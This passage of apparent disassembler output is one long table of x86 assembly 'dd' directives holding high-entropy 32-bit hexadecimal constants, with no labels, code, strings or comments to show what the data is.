		dd 0A47AB304h, 0DFADF23Ch, 0BDC55C82h, 2B50D52Ah, 0DA5C52A8h
		dd 0B2B9C9E2h, 5C6A46DCh, 3FDCF2C5h, 0BC9E2DAAh, 83C5CC5Ch
		dd 426046FEh, 45AB4ABAh, 0BABCAAC2h, 2C12BD2Ah,	0BBDD549Eh
		dd 12455D1Ah, 95099D58h, 0EA0C8D32h, 64959F54h,	452D5F49h
		dd 458CC0CCh, 5225A6CBh, 1C49308Bh, 79D89C57h, 0EBFE38CBh
		dd 58CA243Fh, 8A818971h, 8D40462Bh, 8C4CCC8Ah, 37890BF4h
		dd 82F13728h, 0A8C570Fh, 0AA9F5548h, 0E0AC9028h, 2F0B6225h
		dd 305469BBh, 23180A91h, 2C82A3AAh, 0C82E05C8h,	49A3AAh
		dd 0AC60492Dh, 5246E042h, 8CC4509Dh, 0CC685D2Eh, 0C212E0A0h
		dd 207CC73Dh, 85983485h, 0C305B473h, 5E0405B0h,	85D07FE0h
		dd 5B6068EDh, 0FDFF0820h, 0AEE05B07h, 59DC2071h, 0B6010C70h
		dd 60A03605h, 0FD5B14C6h, 38BDA820h, 85B5C206h,	0AF56B0A2h
		dd 9C8660F8h, 51B1E707h, 1015613h, 9DAC107Eh, 0BA303587h
		dd 9898C259h, 30BEAFF3h, 99917339h, 942623Fh, 0EB5FB74Ah
		dd 3EDCEDCEh, 9981A0CCh, 637C51C3h, 0FEB036E2h,	0E2803B81h
		dd 28628257h, 690F02CEh
		dd 8CE10810h, 28B979F0h, 0BA6352C6h, 629B5BB5h,	0FA94D628h
		dd 8C251A14h, 349EFAAh,	503F21AFh, 0AC93C9A9h, 3F4492CDh
		dd 0A215316Eh, 0ECFBCFB1h, 0CF399245h, 630A2123h, 2A619779h
		dd 0B77085BCh, 97434DE7h, 996C9292h, 93BBF13Dh,	0F18ED090h
		dd 3A255A50h, 90D9958Ah, 0CB4479A4h, 934643F8h,	95BB779Ch
		dd 19177373h, 0F0B0992Bh, 109B933Fh, 8B02D815h,	59C8151h
		dd 9D650782h, 2C1B09Eh,	75FE59F0h, 80B11C00h, 0B07CE0Fh
		dd 54860B06h, 60A01505h, 0A310E05Dh, 28AD863Dh,	5287FE1h
		dd 7FDA3015h, 465C8A80h, 96A6018Ah, 0B014B9AAh,	307307FDh
		dd 32A6160Ch, 7FE03820h, 0A0B78638h, 0D8705DE0h, 0BC815193h
		dd 0B0570B70h, 56B343DAh, 63E69817h, 0B60A0BB0h, 0E1610F05h
		dd 73E638FEh, 0FDA83894h, 4D887587h, 8EBA5957h,	0B0F7CCE0h
		dd 0A1FEEF0Bh, 6378DF35h, 151AEC95h, 0BB0943EBh, 0C95B9E92h
		dd 50BFA5DBh, 0D10F20A9h, 3F90C2A5h, 998C8150h,	0CC9BC9ACh
		dd 1EFC25C4h, 0C2158258h, 0A9EF55A8h, 271EFB5h,	8FA3C827h
		dd 1396348h, 1C603D45h,	0A5D82A0Ah, 0F8DE99D1h,	31F1A088h
		dd 0C3882036h, 0EDEE9CE1h, 371BD81Ch, 0BF4CC122h, 63169540h
		dd 8256783h, 0CAA249BBh, 469F0851h, 12A1CE88h, 3183481Eh
		dd 60AC93A5h, 82208269h, 30083697h, 88D8FFCh, 8AB96D9Fh
		dd 7AD3A208h, 0C1596503h, 2EEA9F15h, 0FD92AC34h, 982D8A10h
		dd 1D26248Dh, 4204D6Ah,	0C822081Ah, 0C198120Bh,	2102901Dh
		dd 600202F0h, 0D5455365h, 9C657A31h, 647289B0h,	0C73E5AE1h
		dd 86DB0DADh, 0F47385D8h, 26CDB08Bh, 0B202AE73h, 6826079Dh
		dd 12485D60h, 8FDC25B7h, 60524860h, 52DB22Fh, 835B0E40h
		dd 62168B70h, 9634C66Ch, 0BCEC9670h, 60CE5B08h,	5052FEC8h
		dd 0CD2031E7h, 58AD14Bh, 0F67885B6h, 99F3A594h,	0BB08267Ah
		dd 0D2CE02C8h, 0BA7E7D57h, 8E3A8E7Eh, 212BC433h, 8289F950h
		dd 0F8E865DCh, 0E25FE83Bh, 9521F54Dh, 879475DBh, 1BE76886h
		dd 0BA69FEACh, 9AD11821h, 0C0363FE3h, 42658103h, 55C441F0h
		dd 6E875DC9h, 53633F9Ch, 0F943ECE1h, 0F8F30B79h, 18A63D82h
		dd 6AC791E0h, 39978A53h, 0BA225A82h, 96D45A6Dh,	0F64D26D2h
		dd 93E3898Bh, 0BA0B88D7h, 220FB6B3h, 828B6F01h,	0F90AD93Ch
		dd 1A969ED9h, 0D050A4A7h, 26AF9E4Dh, 0A81766DBh, 0D1EC40EFh
		dd 4108086h, 0B6B45E8Ah, 2870120Bh, 94EB69D6h, 98946B88h
		dd 6BA805EBh, 900B1DBh,	76618580h, 0C8601F4Ch, 0BE486224h
		dd 0F05707FEh, 65160AE6h, 0AE079E66h, 2DAC079Dh, 54DB205h
		dd 0C27158E9h, 756B37ADh, 6010170Bh, 9698F4C6h,	5CC671BAh
		dd 71EE7099h, 86035D6Ch, 295B9C0Ch, 0F328EDFEh,	1B185766h
		dd 53EEE679h, 93194F64h, 9A76D938h, 24CDA8DEh, 35DE4928h
		dd 0CC3A40Dh, 302811F9h, 9EDE8BCBh, 13DCDABFh, 0C2BD5684h
		dd 41514990h, 4886E4EEh, 6914096Eh, 0A03C133Bh,	1E1F3A48h
		dd 2E9E1C85h, 1B0CC95h,	1E22570Ch, 220B22F6h, 0E8EE8AF8h
		dd 4085629Dh, 83C0D126h, 0AA7B0B00h, 0ADBEF9Ah,	0F098D67Ah
		dd 5826371Ah, 8B15E2D4h, 0C09EEC56h, 8DE18890h,	1C38F88Ah
		dd 8682AB90h, 252B5488h, 9D2B1F9Eh, 2A884964h, 0F88C64F9h
		dd 0E31E481Bh, 0DD9736B1h, 709085Eh, 4C1F0A02h,	0C030021h
		dd 0EC1DE56Fh, 0C00C70h, 15A8F81Ch, 0A04A07CFh,	24948604h
		dd 42486047h, 0D50B847Ah, 85560A05h, 0B2049A47h, 0F607062Dh
		dd 5BB4735Fh, 0B204A762h, 2DC185B5h, 48604BDCh,	22F6F2A3h
		dd 0B5F807CFh, 76D2A423h, 18EBDF64h, 156AC73Eh,	6BDED077h
		dd 0AD725EA7h, 0FE525AA8h, 8ED5F278h, 72999F72h, 2B14B90Ch
		dd 33FB9A87h, 9AF35D73h, 9B3FD72Eh, 0CF7D4002h,	73210810h
		dd 5D6E0C96h, 64994D8Ah, 0E8703263h, 0E65DB951h, 20330D54h
		dd 3303303h, 4BC61738h,	0A08F10F1h, 0EAB48562h,	2A0871CFh
		dd 72504B79h, 0C3431810h, 2D88C503h, 0FB221690h, 2929B600h
		dd 0B4F4AC36h, 4962CF80h, 0BCEB2F0h, 5F9953C8h,	7C681609h
		dd 0B6E8F6EFh, 0A182DCD2h, 0ECCF9597h, 814B9595h, 5C9300F4h
		dd 74CE9D12h, 226B2590h, 311EC6F8h, 56481311h, 0D9A96470h
		dd 7130932Eh, 23804189h, 0F0C801B3h, 1C657553h,	680C0059h
		dd 30033B3h, 3E03E486h,	0E0364D20h, 992DBB5Ah, 0BB718E05h
		dd 0CE69D1C5h, 6046665Ah, 86014BE2h, 201202ECh,	473CD1CDh
		dd 47EC908Dh, 88868BDDh, 831EA488h, 2248602Fh, 0E0824861h
		dd 0A035AEECh, 0A8713C39h, 756B1E98h, 20643D74h, 6E8ADF80h
		dd 6FEF291h, 0E01B77D4h, 77FC88F7h, 81F850DDh, 0FC664DD7h
		dd 72E731D6h, 85A080C8h, 0F786BD57h, 0E826366Dh, 3BC99FD9h
		dd 0D78B78B4h, 43FA043Bh, 3308F88Eh, 8C2EA79Ch,	84E24A24h
		dd 0E2FE27E1h, 7DF87E27h, 0AD42A42Dh, 6C047A41h, 87E7FE77h
		dd 7E184AFEh, 0DD2CB849h, 0A84704AAh, 7EBFEC84h, 0A02DF847h
		dd 52482AFCh, 4D249FEh,	0E87E9046h, 0C7EC84A7h,	0A49A37F6h
		dd 0C9AA42A3h, 6AB00462h, 76804184h, 0E87657E5h, 704824C7h
		dd 2C7A3E5Ch, 4CF70248h, 2E304DAh, 209A4D08h, 0C8E49A41h
		dd 9347A3D1h, 52AC310Ah, 368B48C5h, 50BA262Eh, 8A881131h
		dd 2351A8Ch, 0AA6D369h,	80401711h, 0CE63F974h, 54211A1Ch
		dd 0E0280CBCh, 2F13C9E5h, 5845DEEAh, 2C180B0h, 0C2760C07h
		dd 0C24A963Ah, 0FEFF5B06h, 65F163ADh, 3152BFE8h, 0E5D50D8Eh
		dd 0A43CE331h, 0CC523CB6h, 8B5E7437h, 0E5FF5116h, 62B1FE4Bh
		dd 0A9A40F85h, 118D0E84h, 5DC6E903h, 58C55557h,	44CD6BB3h
		dd 0B45C361Bh, 85846319h, 0C6FFB258h, 913A40A8h, 40553CECh
		dd 0E8A2EC5Ch, 0AC956902h, 750EFB59h, 146E46B5h, 4468B6A1h
		dd 8B95CA9h, 3396CC66h,	0C592CE6Bh, 6689DC06h, 63C5C463h
		dd 0D49E90E9h, 4A1CF464h, 0EC3399B3h, 14A396D8h, 0B4051D99h
		dd 0DBADCE1h, 0E6EDA1AFh, 0BF34F037h, 0FB80D36Bh, 0CA0D06D8h
		dd 6F038451h, 0A0503BFEh, 3D028743h, 0B51D2E8Fh, 0E64321Eh
		dd 99ECF1DDh, 0E23C0F07h, 34B1E8F1h, 0F4A37C5Eh, 9A4E09EAh
		dd 0FC1388C4h, 0C3E7F2F8h, 3EF074AFh, 1E85FCC3h, 0FFE4A229h
		dd 8867FBFh, 0FF80E038h, 231077D9h, 1F723209h, 0E23D0883h
		dd 0A9042148h, 721C5E97h, 7E8831C4h, 0C8E1CA11h, 61F87E7Fh
		dd 0F08F7FC8h, 6F17E231h, 1BC55438h, 0C2D18C63h, 0F1182D8Ah
		dd 451017C5h, 1946C6D4h, 0F846565h, 0B0A45FFEh,	7C2C8EE3h
		dd 5B118460h, 5982A908h, 2474791Fh, 0C1B11E92h,	386C6783h
		dd 6F47E4E9h, 1BE258E4h, 0D0E1306Fh, 9388318h, 0C46C93DEh
		dd 6C68E490h, 110315C0h, 0D2548D21h, 0D4AD2949h, 0CD314BD2h
		dd 394DD354h, 3300C4EDh, 4F952148h, 61745F2Ah, 6CA59DE7h
		dd 0A5520BA4h, 44DA41B4h, 4BB3FE80h, 0A3168656h, 142B8EC3h
		dd 0B650E7C3h, 46D680B4h, 4BA9D95Bh, 0F0A9B85Ch, 4E909D62h
		dd 232B95B5h, 0A6148A59h, 0A2762113h, 25214C47h, 25480D97h
		dd 0B4AC1B67h, 67995665h, 0D66451B8h, 26985944h, 0B5AC6A5Dh
		dd 0B1ABC516h, 6DEC3B0Ah, 0EC76EDA1h, 0E6FAC91Ah, 19C4731Ch
		dd 0C2B05727h, 665C0115h, 5D4741CDh, 975DD01Ah,	0A4696B06h
		dd 0B8684771h, 92C3C63Dh, 86C67C69h, 36E6B50Dh,	19198D1Ah
		dd 3E07C1F1h, 0FA400F8h, 8298F02Ch, 90B6F2BCh, 23E8E6Fh
		dd 10B2309h, 0FEA3CBDBh, 0A0842110h, 28271284h,	4610421Ch
		dd 62A408FDh, 62DBBE37h
		dd 0B8B446BEh, 0BE3653D1h, 590AA40Bh, 1482CBD5h, 45210441h
		dd 0C17E30C0h, 0A8461742h, 2B8B06D0h, 0A82DCB2h, 45FC9C63h
		dd 348D1256h, 8D5947A8h, 3A8EE391h, 11AF3A30h, 71609024h
		dd 5626640Bh, 6E344663h, 0B70D9161h, 1AD8F44Dh,	81F0A831h
		dd 0A0F85FC0h, 124318E2h, 70B242E9h, 909181B5h,	831A0E42h
		dd 2993515Ch, 0A1264912h, 2E4B12A4h, 4D1324C1h,	13A4E136h
		dd 0F558CC4Fh, 7CB63CCFh, 5B5201FCh, 89CA5331h,	1432A62Ah
		dd 0E5B50E33h, 0A9432A91h, 0FFE0E552h, 180602A4h, 0EB0FB3Eh
		dd 62E8BA57h, 204C2D95h, 0B6466485h, 348F956Ch,	59F5C4AEh
		dd 0CE4F3B45h, 60BB2ED5h, 5129431Eh, 0A9182D9h,	4F950F9Eh
		dd 5A9BA231h, 3D669216h, 92AB378Ah, 77AB4B05h, 0FC065FC1h
		dd 4ADEC967h, 9C96AEA8h, 0AE749D76h, 59FE6EFDh,	367BD1F0h
		dd 3EC7ADACh, 0CB63DBCDh, 0B02CD736h, 9CA722CFh, 1B55C3B4h
		dd 6ADEB79Ch, 0ADB71ADBh, 0A10771DDh, 0AE80B973h, 0C0DAE597h
		dd 14691646h, 0AC67EE61h, 8D9A2B8Ah, 3520B82Dh,	2F25FA8Eh
		dd 981312Bh, 8FC1F2FCh,	93B265E0h, 3C64E519h, 84C89902h
		dd 59AB3230h, 88240B6Ch, 0A6208B18h, 0C760D18h,	0D2F91966h
		dd 0A4148046h, 6A80B60Eh, 8F42082Ch, 2EA53810h,	89062458h
		dd 56CB12B9h, 0BC1602A6h, 21590580h, 0E65EF1D4h, 0C0A4AF83h
		dd 12016067h, 8240A609h, 68C15431h, 465A404Ch, 1705B684h
		dd 5C068654h, 0A8455563h, 0B5792306h, 7A8383C8h, 858A164Ch
		dd 0C47995B6h, 1FF9722Ch, 0A686D048h, 0E6151B5h, 9B402003h
		dd 0A0F3264h, 38072078h, 700780F0h, 0E01C0190h,	386707A0h
		dd 404205C1h, 6584A332h, 62231E28h, 0A250DE0Bh,	1FE51C16h
		dd 5D21B8B3h, 3185529Eh, 8021FEBCh, 2402923Ah, 2A946053h
		dd 5A65ACEEh, 0CC4460C3h, 10D1A5E2h, 0E445830Ah, 10D89764h
		dd 7A90987h, 4B88811h, 4A99532Ah, 95A26C4Dh, 26257CAEh
		dd 4C4AD962h, 0B696AF28h, 6226DE54h, 0BE5ACBA9h, 809695F2h
		dd 0B1312EA5h, 478A5A89h, 0E63CC695h, 4C196A25h, 96F2DE5Ah
		dd 3425E9A6h, 6087A983h, 0BF9992E6h, 7B32A56Ch,	726DCDA5h
		dd 8CCC3533h, 0A34D2DA5h, 0EB90F1BCh, 0C444A612h, 3C38B2B7h
		dd 7F40D0CBh, 0A6CB9BD6h, 16A38844h, 605E5014h,	0F3E2039h
		dd 0BE493018h, 43029FA0h, 66B0D120h, 0EBC12017h, 0A0C2F361h
		dd 1892B246h, 604C4A4Ch, 3581492h, 2AD0A463h, 14916899h
		dd 74557CDh, 0B4419661h, 610E1061h, 24769482h, 0E10A9184h
		dd 9AC17667h, 34B454CEh, 86E43A2Eh, 59927831h, 31BFF38Eh
		dd 5C62207Ch, 434BDB1Ch, 0F038D2F9h, 9072A794h,	0DA8220C3h
		dd 0E2688108h, 99E912FEh, 4D22104h, 0E1682A03h,	0C754698Ch
		dd 1826A3Ch, 4E64DC9Ch,	9C0D016h, 1A82103Ah, 2A290C96h
		dd 4C8B40FAh, 0FCB50A57h, 49BD3163h, 92CCFCD6h,	93ED7918h
		dd 416B5747h, 0B1765E15h, 62342E84h, 0BABBC9Ch,	5C57793Ch
		dd 23238599h, 0C093D959h, 10F3D823h, 0DBCC96B6h, 99D81DD6h
		dd 0EFD6C59Ch, 5F59D7B0h, 87778277h, 3A563834h,	0B24EE9A7h
		dd 2411D246h, 8323CCDDh, 9011C171h, 7676AC23h, 82E97F4Dh
		dd 0F7CAFAECh, 0A6CD592Dh, 4DAD9308h, 0AC4B4C65h, 39865ED9h
		dd 0FAD6F881h, 0DBBD30A2h, 0E394C784h, 64B9AC99h, 98D9DB05h
		dd 89A0B8B6h, 0F6B14099h, 0B3E51CAEh, 415C3BB9h, 83E8160Ah
		dd 6B0BE6E8h, 3D01F5CEh, 0F4555E7h, 16A07262h, 4ABF57A3h
		dd 8603B266h, 0BB3A4555h, 462CEDAh, 0FFDAD91h, 6E9D6B67h
		dd 8529200Ah, 6B2D591Dh, 16D165DBh, 0C3302F8h, 0FE9394E2h
		dd 8C8BABC6h, 1D7B240h,	2F29ED8Fh, 434E2B8Bh, 0E6319222h
		dd 754C0A80h, 0AA0DBEAh, 89CDB9A7h, 2AD14001h, 0C7D64AC3h
		dd 837230BDh, 0A487FE1Bh, 0D805968Ah, 440D917Eh, 74BC9170h
		dd 0C2EC3564h, 227AE35h, 0F48E1109h, 689E02D1h,	6A084410h
		dd 0A5FC0550h, 0AF689C8Fh, 668152B7h, 0FFD2F247h, 0A86BAD75h
		dd 1D6AB23Dh, 1C23BCEBh, 89CA5801h, 0A7D01DC2h,	36E329DAh
		dd 0CDF851B7h, 2DD3A074h, 49245173h, 64124E5Eh,	0D0972B66h
		dd 0EB0B2F7Eh, 7D6A0EF3h, 0D8CE19A3h, 0A3D1B60Fh, 95A6B12Dh
		dd 0B6DCED2Dh, 82C99839h, 19FCCE25h, 32E66CD7h,	62ED199Ch
		dd 2D82E55Fh, 0F0BA174h, 0A07E793h, 3682DD2Dh, 9AF9BA57h
		dd 361EBCA2h, 92517E5Eh, 4A798B68h, 0BA6B92C4h,	0D1D78929h
		dd 40C88239h, 0F033B315h, 0C768A5DAh, 58978B81h, 0DD81A386h
		dd 0AA5FBB4Bh, 884862EBh, 7266BBC9h, 93FE3122h,	878ED8D1h
		dd 0E914D143h, 6B891923h, 0A4E30646h, 0C6488B6h, 1082C36Ah
		dd 3454D0C2h, 131D1846h, 249CD396h, 65830270h, 148C578h
		dd 90982169h, 4DE12A95h, 0EB80A517h, 3C0C46A0h,	11841036h
		dd 1F1116D9h, 85405056h, 654CB5C6h, 194B64E2h, 18C4E2DAh
		dd 1BB9C76Eh, 0FC829170h, 0C7812EBFh, 724E543Bh, 9B35BB37h
		dd 0B2B651DFh, 0B4D663E8h, 0ED1DA3A0h, 0E03A46A4h, 3997C89Ah
		dd 0C1A6D377h, 0DAB0334Ah, 3B55BFEDh, 8660372Dh, 0ADD1B2E3h
		dd 0AC3CE077h, 0CE874D69h, 10C32725h, 0DA3F7CD6h, 0B3363708h
		dd 61C58DB2h, 0A74206B5h, 905D08CCh, 4D272397h,	0A9552945h
		dd 0D2940580h, 69380F75h, 4AA62A94h, 0CE087444h, 46189C78h
		dd 554AC8AAh, 0F1CEB14Ah, 7A93A2B9h, 2A2C5F98h,	0A36FC51Ah
		dd 294EF7C9h, 0DA2D6FDDh, 0E08DD847h, 0C6BCF913h, 27E8F6EEh
		dd 0D1E3DAD5h, 5DC8AD3Ch, 1B64FEE3h, 2250B088h,	44AD2BA1h
		dd 0F218CD08h, 0A4690D20h, 804D0C24h, 2D9C9BB0h, 64EF6837h
		dd 0C0A82702h, 301AB756h, 4AB00E80h, 0C5A46C09h, 200242ECh
		dd 5E6CAD37h, 41B64392h, 0D92B514Ah, 0FEF648F4h, 7A18CE92h
		dd 2BB5985Fh, 6BDC5D69h, 983C82BBh, 5D293C35h, 0C296B9DEh
		dd 6EF0CE17h, 81C9CFDAh, 1DC1557Eh, 5F19CEBh, 69ABF642h
		dd 83421678h, 0E0ABE1C4h, 8D7E4F08h, 3DAF8E6Dh,	0E3C70CE7h
		dd 0B0B98F2Eh, 917D2092h, 50103C6Fh, 7E750280h,	64DAF293h
		dd 167EB871h, 6E2DC579h, 72331403h, 192B268Ah, 48CF22BCh
		dd 0C5FB681Fh, 0D4747D20h, 0B8229B9Bh, 6F903FD2h, 0EE112B80h
		dd 0B379761Ah, 55CDFE08h, 9011CFD1h, 0BD1E6DFDh, 0E93A80B9h
		dd 2207816h, 131E6024h,	0F095423Ch, 0C445BAC1h,	0DA9BD58Bh
		dd 298B1FF5h, 18B489C6h, 5DCAA0BBh, 70D74FE9h, 0D0C5FE8Dh
		dd 0C45C8D3h, 4500F0FEh, 0AC349DE4h, 4B0184Dh, 3B49B9B3h
		dd 30DD1B3Ch, 0C06C0640h, 85B51B4h, 55FFDE2Ch, 14BCC611h
		dd 93C5C80Fh, 5DC81C4h,	0C629CF60h, 915AF1E9h, 8DA65AC8h
		dd 1E79E91Eh, 8D1DC0BBh, 0B5B09DB0h, 4679EB9Eh,	0ECDEF9ECh
		dd 0D5EFCAF5h, 601C725Eh, 0F31EE465h, 5DEC1C2Ch, 0E1541B8Bh
		dd 68477215h, 0B17F5EA0h, 1F3DEB9Dh, 0F316B5F4h, 6DF659D9h
		dd 0DF71EEDCh, 1D810DF3h, 8D9FE1B2h, 1407661h, 9B56DC19h
		dd 3C651135h, 5F81CBD9h, 0D4DA09F2h, 51A1D088h,	0C0A9799Ah
		dd 0D148C8D0h, 0E08B9E80h, 4C04C008h, 2625541h,	1E8DFA5h
		dd 8A0C5F09h, 0FF508061h, 0C2249260h, 94162588h, 1BDE6C5Dh
		dd 0D1508FCh, 0C0B84694h, 288FCE14h, 6DE6885Dh,	90C9B69Eh
		dd 475E9C46h, 1176DAC8h, 62D5079Dh, 0F58BB22Dh,	90BB6138h
		dd 4780B8C6h, 0B180B871h, 241E5DEDh, 553E0B1Bh,	0FE5E0D54h
		dd 5620C955h, 78109049h, 42281F08h, 7FA35C42h, 1041041Ch
		dd 87A531D5h, 40C22026h
		dd 30240410h, 0C8384142h, 2A236C7Dh, 192D530Dh,	638884D5h
		dd 81C835B9h, 123887B4h, 0C2404095h, 50485237h,	71669679h
		dd 4F4496CDh, 0C2E159EFh, 0C21DC05h, 651EDD7h, 1F5370B7h
		dd 961921BEh, 5CC1DE1h,	45CF581Bh, 0F9F18618h, 6451C7D9h
		dd 0C2E42DC7h, 0CE1E1C6Dh, 8125F496h, 9AD9FE45h, 0BA1F1C29h
		dd 8B116241h, 0F3D9C1F2h, 0C40D86D8h, 4D25E900h, 2D4C75ACh
		dd 0A8CD5A62h, 1D04C795h, 0E8D755A5h, 0E0CAC8A9h, 122607CAh
		dd 204BE909h, 0F0D5E4D9h, 0CB5D18Bh, 269171B0h,	8897092Dh
		dd 4155DC92h, 4CDE722Ch, 0DA118AE2h, 5A898B5Bh,	0BDE4BD72h
		dd 6A1A5AF5h, 0D8209265h, 68231208h, 2434A31Dh,	17810A3h
		dd 1AA0B401h, 649CE0C1h, 8075B480h, 1280765Bh, 5102D3F8h
		dd 6905F10h, 99FE1468h,	0AC53C5ADh, 2177CCE9h, 416C5D90h
		dd 0FB8F45B8h, 0F046DE78h, 0D58BF25h, 271E98BCh, 0BDBE9F11h
		dd 0CF056954h, 15E4023Fh, 0DA40D36Ah, 4650ABDEh, 16076011h
		dd 0C5C299D2h, 615A18DEh, 5CC6B4AFh, 70BADAECh,	46BC5C52h
		dd 739CC245h, 3473E184h, 5F3A1C9Fh, 1D86C1CBh, 0D61E1F6Eh
		dd 6AC1B86h, 32875E18h,	612E1359h, 0D308F293h, 6592DD2Eh
		dd 5A6FD335h, 23715182h, 3D23D932h, 0E36DB96h, 88348244h
		dd 74273C23h, 2882A74Eh, 2363688h, 2B52D92Ah, 3882E385h
		dd 0E77C2542h, 78442674h, 9239C7FEh, 2212A23h, 2952A276h
		dd 28236381h, 87DC4120h, 39274678h, 2A764242h, 0A3B52A4Fh
		dd 74E75A38h, 1C4123CAh, 23BA3D53h, 24280680h, 5C1E1294h
		dd 41447881h, 21018CB2h, 8C0EDDECh, 25A25994h, 4ECDC43Ah
		dd 25B233Ch, 128C285h, 94D1F10Ah, 4DD61A40h, 40B9F78Fh
		dd 57A0FE15h, 231B68C4h, 794A9451h, 988C1AC4h, 0C4065646h
		dd 0D8961DC1h, 88C1D405h, 5EE4EE26h, 214A0465h,	14E5DC4Dh
		dd 0C65BF893h, 64B6D375h, 8F7D62C1h, 0AF81B865h, 1C2D638h
		dd 46FC7687h, 140B75C0h, 1E302275h, 8F485C89h, 944FE694h
		dd 4C6981A6h, 19D9C799h, 6E8F88B5h, 28AD4AC5h, 0DCA41147h
		dd 6626C410h, 501B8190h, 1421ED6h, 654F08B5h, 0A1C1964Ch
		dd 9CB1700Fh, 738B786Fh, 0B2951640h, 877A94CAh,	814488B1h
		dd 69088CB5h, 93C9A69Ah, 0CC17948Ch, 80658FB4h,	1ADD5F46h
		dd 269A308Eh, 0C5A6EA0Ah, 0DD7CC00Bh, 680D9515h, 6A5E9139h
		dd 0D025590h, 98A60090h, 0C6D5F74h, 62E1E9A6h, 26017DCEh
		dd 250E0D26h, 8D21F12Ah, 4E460D07h, 2844CD91h, 0C31434A8h
		dd 1480E80Eh, 3E59C0E4h, 0C4E28495h, 56004A5Ah,	5124A0D5h
		dd 0BE50050h, 0AC8D915Ch, 39F4A1D8h, 8BC8BED1h,	5775B6FEh
		dd 0D3491172h, 561DE984h, 0CFFE19C6h, 8C4C498Eh, 0B226C8C6h
		dd 0E4B2B51Dh, 0D09414BBh, 68D24D08h, 0C77A3F54h, 1DD6A879h
		dd 152DC788h, 0D6C53A5Ch, 0F959C8EFh, 6CF94F30h, 0D3729A0Fh
		dd 6ED17E8Fh, 14920BB0h, 0A9459897h, 0B981E0AEh, 49F75626h
		dd 4668F0CBh, 975A0641h, 0C9CC249Eh, 6BF86799h,	6799F9EDh
		dd 0E46656BCh, 8B7A179Eh, 1B99F065h, 806FCB32h,	0DC559BDCh
		dd 9EC67872h, 588D068Ah, 0AA01D4E5h, 0AD5775A6h, 0ADC80F65h
		dd 9A6E2424h, 896C8A88h, 5E86D152h, 8FD1114Dh, 8211368Ah
		dd 65279722h, 0D620045h, 8AA8A491h, 0ECB259DEh,	0A0649158h
		dd 755A3C8Ah, 0B85B6521h, 9C45BD8Fh, 27182197h,	1AAB80F1h
		dd 0C39A82E3h, 0ADEAD6ACh, 0D03BCDBEh, 40EC0A04h, 1D11B80Eh
		dd 680F40F5h, 148C0880h, 79D150BEh, 0A5115FCDh,	0E6CEB40Bh
		dd 8A00DA98h, 0C9BCE10Ch, 0FE85B85Bh, 4141F5E9h, 119169CAh
		dd 8E8C1FEEh, 0D2808AD7h, 20C99493h, 0C886653Ch, 129C4101h
		dd 15C15D2Ah, 5D3227D8h, 13413402h, 2B930D2Fh, 4D32E701h
		dd 6E35352Eh, 2B12A12Fh, 9D2A5341h, 0EE5939D3h,	6F67066Eh
		dd 552F2E3Ah, 12CD2E6Eh, 35D2FE6Fh, 0F1381345h,	15D2D92h
		dd 7A539E3Bh, 396A9700h, 1C36911Fh, 21C70137h, 0BDF65F30h
		dd 6C24821h, 5DEC11F3h,	217B4D42h, 0A9F9FF21h, 265A65A5h
		dd 8DF71985h, 2244D4A6h, 0CBA12973h, 0C08FD8A6h, 0EDAEDA95h
		dd 0BF2CDE98h, 697DC130h, 660D31Ah, 54EB4ADBh, 5D064CBEh
		dd 0A4ECC5ABh, 0AA4D9969h, 391768E2h, 0E0281389h, 0D4C23D38h
		dd 2C1044A6h, 0EAE58463h, 0D185A33h, 1248086h, 1A58C44Dh
		dd 0F7EB14D3h, 16500E96h, 0EF745DAFh, 1DADD410h, 0B6938B02h
		dd 949A88Bh, 0FFE8D2B0h, 7CC68454h, 30540940h, 8FF05557h
		dd 7C1540A8h, 52FE4416h, 0AB9E8A44h, 0F34B7878h, 40B78F34h
		dd 5F78F956h, 70699DC5h, 0F6BF294Ch, 8B7EC32Bh,	938F1478h
		dd 0C1D64D92h, 0A134F159h, 0FAC44E54h, 0D0ACEBC8h, 1DB811C0h
		dd 732ECABFh, 88681C70h, 0D5FEA50Bh, 10016DD2h,	0CFDEB3Ch
		dd 6AA6DF1h, 0EEE6AE42h, 0D0752186h, 2F7A6CD9h,	0DD7166DBh
		dd 36A1DC72h, 62430C8Dh, 0FD6CBAF1h, 42A15FF5h,	498DF886h
		dd 0D5940CC7h, 34992B0Ch, 0A88D8BE5h, 8AADA579h, 8C117166h
		dd 0DBAEB29Fh, 0A89BC495h, 0BA8A6601h, 0EDDADD41h, 6CB1AA7h
		dd 4807D066h, 6D24CB97h, 0D32A5294h, 69811E9Eh,	30F80C52h
		dd 0DAEAC010h, 41DFC128h, 0D54CDC68h, 4C04A33h,	7956806Ch
		dd 9D910105h, 0FD1FE5CFh, 0E9AB10Ch, 50B81647h,	16539D9h
		dd 69CF9E65h, 0C1654BDBh, 76ADD46Fh, 76C78114h,	0AF3A0549h
		dd 0E94E72D9h, 0F4C0579Dh, 0B1AD2453h, 0B29DB980h, 681B8B08h
		dd 1DC3FE66h, 46B59516h, 0ACAC2011h, 1DEC218Ch,	0C73E96A9h
		dd 1DD639EFh, 70F19690h, 162C1ACDh, 0CE6A2221h,	654BE070h
		dd 0DC599DA9h, 93644B0Fh, 7EBC4FD5h, 0C67315E6h, 0C4E9299h
		dd 931F1CFCh, 9EFC6FE9h, 0F39EC936h, 0D870010Dh, 615A9233h
		dd 0DB33EF16h, 39F6DF5Eh, 87262B19h, 0E468DAD2h, 669FEF15h
		dd 0D6CC6DAh, 0DD9DE66h, 0ACCED5CBh, 907D27C8h,	912F1459h
		dd 0B31CCD90h, 0CD4F1D6Dh, 0E49FF205h, 0D8144459h, 0EA7F0221h
		dd 1A5170BAh, 64BCECB3h, 0A934A644h, 8F8D2304h,	523EEB51h
		dd 0A31B0FABh, 0B2E0A9DEh, 0D68451A5h, 0D85684C4h, 0C35B4F26h
		dd 31CF40F8h, 0D4809001h, 0AB117AB2h, 60455C0Ch, 148011AAh
		dd 57C8881Fh, 0AC07CBE4h, 1CB62B0Ch, 5FC45EF8h,	250648D5h
		dd 0E2322334h, 414D0AB7h, 550D0095h, 41280540h,	4400B186h
		dd 0D8452690h, 0A6471646h, 700741EFh, 0CF0A3150h, 39CA46FEh
		dd 3020B5F3h, 0C2E1DB3Fh, 0E5ED9929h, 810E2106h, 0F3471647h
		dd 0D1DD20EAh, 0B535B2Eh, 6970FCB0h, 2EBBE419h,	0B3DB3F9Ch
		dd 9911386Ch, 0D01B5014h, 0B3C5C74Fh, 0ECA6DE99h, 0C46AB141h
		dd 0DEFB65B3h, 3F1CA21Bh, 271F9EEFh, 0B1172D29h, 0B95A5EBh
		dd 0CF1E600Dh, 0B1B8439Bh, 0D186276Ah, 0B0BA4A0Dh, 1C40D396h
